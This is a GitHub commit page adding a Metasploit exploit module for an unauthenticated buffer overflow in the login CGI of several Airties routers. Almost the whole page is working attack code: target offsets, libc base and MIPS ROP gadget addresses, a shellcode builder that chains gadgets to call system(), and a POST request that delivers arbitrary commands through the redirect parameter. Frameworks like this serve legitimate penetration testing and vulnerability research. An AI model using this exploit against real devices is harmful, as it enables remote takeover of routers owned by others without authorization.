Skip to content

Commit dd39d19

Browse files
jvazquez-r7jvazquez-r7
committed
Land rapid7#5226, @m-1-k-3's Airties login Buffer Overflow exploit
2 parents bb444a8 + 952f391 commit dd39d19

File tree

1 file changed

+151
-0
lines changed

1 file changed

+151
-0
lines changed

‎modules/exploits/linux/http/airties_login_cgi_bof.rb

Lines changed: 151 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,151 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::CmdStager
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Airties login-cgi Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a remote buffer overflow vulnerability on several Airties routers.
19+
The vulnerability exists in the handling of HTTP queries to the login cgi with long
20+
redirect parameters. The vulnerability doesn't require authentication. This module has
21+
been tested successfully on the AirTies_Air5650v3TT_FW_1.0.2.0.bin firmware with emulation.
22+
Other versions such as the Air6372, Air5760, Air5750, Air5650TT, Air5453, Air5444TT,
23+
Air5443, Air5442, Air5343, Air5342, Air5341, Air5021 are also reported as vulnerable.
24+
},
25+
'Author' =>
26+
[
27+
'Batuhan Burakcin <batuhan[at]bmicrosystems.com>', # discovered the vulnerability
28+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
29+
],
30+
'License' => MSF_LICENSE,
31+
'Platform' => ['linux'],
32+
'Arch' => ARCH_MIPSBE,
33+
'References' =>
34+
[
35+
['EDB', '36577'],
36+
['URL', 'http://www.bmicrosystems.com/blog/exploiting-the-airties-air-series/'], #advisory
37+
['URL', 'http://www.bmicrosystems.com/exploits/airties5650tt.txt'] #PoC
38+
],
39+
'Targets' =>
40+
[
41+
[ 'AirTies_Air5650v3TT_FW_1.0.2.0',
42+
{
43+
'Offset' => 359,
44+
'LibcBase' => 0x2aad1000,
45+
'RestoreReg' => 0x0003FE20, # restore s-registers
46+
'System' => 0x0003edff, # address of system-1
47+
'CalcSystem' => 0x000111EC, # calculate the correct address of system
48+
'CallSystem' => 0x00041C10, # call our system
49+
'PrepareSystem' => 0x000215b8 # prepare $a0 for our system call
50+
}
51+
]
52+
],
53+
'DisclosureDate' => 'Mar 31 2015',
54+
'DefaultTarget' => 0))
55+
56+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
57+
end
58+
59+
def check
60+
begin
61+
res = send_request_cgi({
62+
'uri' => '/cgi-bin/login',
63+
'method' => 'GET'
64+
})
65+
66+
if res && [200, 301, 302].include?(res.code) && res.body.to_s =~ /login.html\?ErrorCode=2/
67+
return Exploit::CheckCode::Detected
68+
end
69+
rescue ::Rex::ConnectionError
70+
return Exploit::CheckCode::Unknown
71+
end
72+
73+
Exploit::CheckCode::Unknown
74+
end
75+
76+
def exploit
77+
print_status("#{peer} - Accessing the vulnerable URL...")
78+
79+
unless check == Exploit::CheckCode::Detected
80+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
81+
end
82+
83+
print_status("#{peer} - Exploiting...")
84+
execute_cmdstager(
85+
:flavor => :echo,
86+
:linemax => 100
87+
)
88+
end
89+
90+
def prepare_shellcode(cmd)
91+
shellcode = rand_text_alpha_upper(target['Offset']) # padding
92+
shellcode << [target['LibcBase'] + target['RestoreReg']].pack("N") # restore registers with controlled values
93+
94+
# 0003FE20 lw $ra, 0x48+var_4($sp)
95+
# 0003FE24 lw $s7, 0x48+var_8($sp)
96+
# 0003FE28 lw $s6, 0x48+var_C($sp)
97+
# 0003FE2C lw $s5, 0x48+var_10($sp)
98+
# 0003FE30 lw $s4, 0x48+var_14($sp)
99+
# 0003FE34 lw $s3, 0x48+var_18($sp)
100+
# 0003FE38 lw $s2, 0x48+var_1C($sp)
101+
# 0003FE3C lw $s1, 0x48+var_20($sp)
102+
# 0003FE40 lw $s0, 0x48+var_24($sp)
103+
# 0003FE44 jr $ra
104+
# 0003FE48 addiu $sp, 0x48
105+
106+
shellcode << rand_text_alpha_upper(36) # padding
107+
shellcode << [target['LibcBase'] + target['System']].pack('N') # s0 - system address-1
108+
shellcode << rand_text_alpha_upper(16) # unused registers $s1 - $s4
109+
shellcode << [target['LibcBase'] + target['CallSystem']].pack('N') # $s5 - call system
110+
111+
# 00041C10 move $t9, $s0
112+
# 00041C14 jalr $t9
113+
# 00041C18 nop
114+
115+
shellcode << rand_text_alpha_upper(8) # unused registers $s6 - $s7
116+
shellcode << [target['LibcBase'] + target['PrepareSystem']].pack('N') # write sp to $a0 -> parameter for call to system
117+
118+
# 000215B8 addiu $a0, $sp, 0x20
119+
# 000215BC lw $ra, 0x1C($sp)
120+
# 000215C0 jr $ra
121+
# 000215C4 addiu $sp, 0x20
122+
123+
shellcode << rand_text_alpha_upper(28) # padding
124+
shellcode << [target['LibcBase'] + target['CalcSystem']].pack('N') # add 1 to s0 (calculate system address)
125+
126+
# 000111EC move $t9, $s5
127+
# 000111F0 jalr $t9
128+
# 000111F4 addiu $s0, 1
129+
130+
shellcode << cmd
131+
end
132+
133+
def execute_command(cmd, opts)
134+
shellcode = prepare_shellcode(cmd)
135+
begin
136+
res = send_request_cgi({
137+
'method' => 'POST',
138+
'uri' => '/cgi-bin/login',
139+
'encode_params' => false,
140+
'vars_post' => {
141+
'redirect' => shellcode,
142+
'user' => rand_text_alpha(5),
143+
'password' => rand_text_alpha(8)
144+
}
145+
})
146+
return res
147+
rescue ::Rex::ConnectionError
148+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
149+
end
150+
end
151+
end

0 commit comments

Comments
 (0)